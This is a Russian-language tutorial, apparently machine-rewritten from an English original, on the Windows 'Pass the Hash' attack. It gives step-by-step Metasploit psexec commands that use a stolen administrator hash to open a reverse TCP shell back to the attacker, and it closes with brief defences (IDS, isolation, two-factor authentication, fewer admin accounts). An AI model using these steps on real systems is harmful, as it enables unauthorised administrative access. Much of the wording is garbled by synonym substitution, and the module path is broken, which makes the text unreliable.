Анатомия атак типа «Pass the Hash»

Спецы в области информационной безопасности нередко концентрируют массу вашего внимания на том, чтоб убедиться в строгости политик безопасности и трудности паролей, с целью убрать возможность взлома со стороны злоумышленников. Я же написал двухчастную статью, тщательно описывающую, как работают пароли в Windows, и как их можно взламывать, – ‘ Как я взломал ваш пароль в Windows’. В этой статье рассказывается о том, как пароли хэшируются и хранятся, и как злоумышленники могут взламывать такие пароли.

Более того, как вы отреагируете, если я скажу вам, что при определенных критериях мне даже не пригодится взламывать ваши пароли, чтоб получить таковой доступ к системе, будто бы бы я пользовался вашим именованием юзера и паролем? Нет, я говорю не про некоторые особенные уязвимости типа 0-day либо про то, чтоб обманом вынудить вас надавить на зараженную ссылку в фишинговом электрическом письме. Сделать это до боли просто с помощью техники под заглавием «Pass the Hash». В этой статье мы разглядим, как работает данная техника, и я покажу вам метод получения украденных хэшей паролей и удачного их внедрения без необходимости взламывать содержимое. Как обычно, я раскрою и некие приемы обнаружения и защиты от схожих атак.

Хэши на пакетном уровне

Когда вы создаете пароль для аккаунта в Windows, он преобразуется в хэш. Хэш представляет собой итог криптографической функции, которая воспринимает на вход строчку данных случайной длины, производит математическое преобразование и на выходе дает строчку фиксированной длины. В конечном итоге, заместо того, чтоб хранить пароль ‘PassWord123′, у вас будет хранится хэш-строка ’94354877D5B87105D7FEC0F3BF500B33.’ Таковой подход обоснован 2-мя причинами. Во-1-х, это значит, что ваш пароль не хранится на локальном жестком диске в виде обыденного текста, который может прочесть каждый; а во-2-х, ваш пароль не передается по сети в виде текста при авторизации на другом устройстве (к примеру, на контроллере домена). Я не буду в этой статье тщательно останавливаться на том, как конкретно делается хэширование, но если вы желаете ознакомиться с этим процессом, поглядите мою старенькую статью по взлому паролей в Windows тут.

Когда вы пытаетесь получить доступ к компу, защищенному именованием юзера и паролем, хост предложит вам авторизоваться. Обычно вводятся имя юзера и пароль. После ввода пароля компьютер производит хэширование пароля и посылает его хосту для сопоставления со значением, содержащимся в базе данных. Если хэши совпадают, доступ раскрывается.

Анатомия атак типа «Pass the Hash»
Прирастить

Набросок 1: Обычная попытка соединения на базе аутентификации

А сейчас давайте разглядим другую ситуацию. Что если мы вручную установим соединение с хостом, на котором имеется требуемый ресурс, но заместо того, чтоб давать ему свое имя и пароль, мы передадим имя админа и его хэш, который мы украли? Мы получаем административный доступ к этому хосту. Не запамятовывайте, что хост тревожит только получение хэша, соответственного подходящему паролю. Другими словами вам не непременно использовать функцию хэширования над паролем, необходимо только передать хэш, на чем атака и базирована.

Анатомия атак типа «Pass the Hash»
Прирастить

Набросок 2: Передача хэша мотивированному хосту впрямую

Внедрение Metasploit для «Pass the Hash»

На данный момент, разобравшись с теорией, лежащей в базе атак, пора перейти к практике. Нашей задачей будет передать украденный хэш юзера с правами админа системе-жертве. Чтоб выполнить эту атаку, нам пригодятся две вещи. Во-1-х, нам нужен украденный хэш админа. Есть несколько разных способов получения хэшей паролей, самый пользующийся популярностью из которых дискуссируется тут. Не считая украденного хэша нам нужна копия Metasploit, инструмента для воплощения атаки.

Metasploit – это свободно распространяемый фреймворк для тестирования взлома, разработанный в HD Moore (на данный момент Rapid7). В свободном доступе есть тыщи статей и тренировочных курсов по Metasploit, и хотя мы воспользуемся им для полностью определенного типа атак, он способен штурмовать и по многим другим фронтам. Metasploit можно взять отсюда.

Либо вы сможете загрузить и работать с Backtrack 4. BT4 – это линуксовый дистрибутив live-CD, сделанный специально для тестирования взлома и внедрения, в каком есть масса предустановленных и прекомпилированных инструментов, включая Metasploit. Загрузить BT4 можно отсюда. Metasploit вы обнаружите в папке /pentest/exploit/framework3. Снимки экрана примеров, показываемые в остальной части статьи, берутся из BT4.

Имея на руках украденный хэш и Metasploit, мы начинаем подготовку к атаке. Для начала необходимо запустить консоль Metasploit. В BT4 для этого необходимо перейти в папку /pentest/exploit/framework3 и набрать ./msfconsole.

Анатомия атак типа «Pass the Hash»
Прирастить

Набросок 3: Пуск консоли Metasploit

Metasploit – реальный Фреймворк, состоящий из разных модулей, используя которые он решает свои задачки. В нашем случае мы воспользуемся модулем psexec. Psexec – это обыденный инструмент (употребляется не только лишь в Metasploit), который нужен для удаленного пуска процессов в системе и перенаправления результатов работы этих процессов назад в систему, через которую вы работаете. Для работы с модулем введите use windowssmbpsexec и нажмите Enter. Состояние командной оболочки, которой вы пользуетесь, должно отразить внедрение этого модуля.

Анатомия атак типа «Pass the Hash»

Набросок 4: Внедрение модуля psexec

Сейчас мы должны установить тип отправляемой многофункциональной части. Metasploit открывает самое базисное соединение с нашей жертвой, потому когда при помощи имени и хэша мы проходит авторизацию, многофункциональная часть обусловит, какие задачки мы исполняем через psexec. В нашем случае у нас масса злых целей для нашей жертвы, потому заместо открытия некий одной программки, мы желаем запустить командную оболочку, чтоб можно было наделать много всякого. Один из самых действенных для этого способов – пользоваться оборотной TCP-оболочкой. Вот и вся функциональность: пуск экземпляра cmd.exe и отправка данных через наше соединение для удаленного доступа. Для установки этого типа многофункциональной части введите set payload windows/shell_reverse_tcp.

Анатомия атак типа «Pass the Hash»
Прирастить

Набросок 5: Установка многофункциональной части для оборотной TCP-оболочки

Для работы этого модуля и требуемой функциональности необходимо настроить некие функции. Для этого введите show options и нажмите Enter.

Анатомия атак типа «Pass the Hash»

Набросок 6: Настраиваемые функции для данного модуля и требуемой функциональности

Для установки подходящих нам опций воспользуемся синтаксисом ‘set [название опции] [значение]‘. Необходимо установить последующие функции:

RHOST ‘ Айпишник жертвы
SMBPass ‘ Украденный хэш жертвы
SMBUser ‘ Имя юзера жертвы
LHOST ‘ Айпишник атакующей машины

В большинстве ситуаций этих 4 функции вам будет довольно, все другое можно оставлять по дефлоту. После опции итог должен соответствовать показанному на Рисунке 7.

Анатомия атак типа «Pass the Hash»
Прирастить

Набросок 7: Функции атаки настроены

Сейчас все изготовления завершены, и мы можем приступать к атаке. Для этого просто введите exploit и нажмите Enter. В случае фуррора, вы увидите нечто схожее на то, что показано на Рисунке 8 – на нормальную командную оболочку Windows. И сейчас у нас есть административный контроль над машиной без познания пароля админа.

Анатомия атак типа «Pass the Hash»
Прирастить

Набросок 8: Удачная атака дает нам командный микропроцессор Windows

Защита против «Pass the Hash»

Атаки «Passing the hash» тяжело обнаруживать и предотвращать из-за самой природы процесса авторизации. Сделать здесь можно совершенно мало:

Мониторинг системой обнаружения вторжений(СОВ) - Пользуясь СОВ, вы навряд ли можете изловить за руку злодея, который пробует использовать атаку типа «pass the hash», так как как правило это смотрится как рядовая авторизационная последовательность. Но вам может и получится найти атаку, основываясь на тех действиях, которые производит злодей после получения доступа. К примеру, в нашем тестовом сценарии вы не узрели бы предупреждение от СОВ при атаке машины жертвы, но увидели бы предупреждение, когда psexec делает оболочку и посылает ее вспять по сети. Это позволит вам увидит атаку и принять надлежащие меры.
Изоляция принципиальных систем - Все машины, содержащие принципиальные данные, должны быть изолированы. С помощью соответственных опций маршрутизаторов и брандмауэров вы можете ограничить доступ к местам, где содержатся принципиальные данные. При всем этом юзеры не должны быть в состоянии проводить атаки типа «pass the hash» для получения доступа к принципиальным системам.
Двухфакторная авторизация - Расчет на пароли как на единственное средство авторизации уходит в прошедшее, и это верно. Чтоб авторизация юзера была довольно надежной, она должна состоять из 2-ух либо даже 3-х причин. Эти причины могут включать в себя: что-то, что вам понятно (пароль); что-то, что у вас есть (смарт-карт, маркер) и что-то, что присуще только вам (отпечаток пальца, набросок радужной оболочки глаза). Композиция 2-ух либо 3-х из таких причин предутверждает возможность авторизовываться при помощи только пароля либо украденного хэша.
Ограничение административного доступа - Чем больше пользовательских аккаунтов имеет административные права, тем выше возможность того, что их хэши украдут и будут использовать для управления машинами с наивысшими льготами. Нужно всегда проводить постоянные проверки с целью найти, имеет ли какой-либо юзер доступ административного уровня.

Заключение

Атаки типа «Passing the hash» очень обыкновенные для выполнения и смертельны для жертвы. Как вы лицезрели в этой статье, проведение ее просит всего пары инструментов и мало желания – вот и все, что необходимо хакеру, чтоб сломать вашу инфраструктуру. Надеюсь, что те познания об этой атаке и о стратегиях ее обнаружения и предотвращения, которые мы сейчас обсудили, посодействуют вам лучше приготовить к защите и реакции на такие атаки в случае обнаружения их в вашей сети.

Аналогичный товар: Комментирование на данный момент запрещено, но Вы можете оставить ссылку на Ваш сайт.

Комментарии закрыты.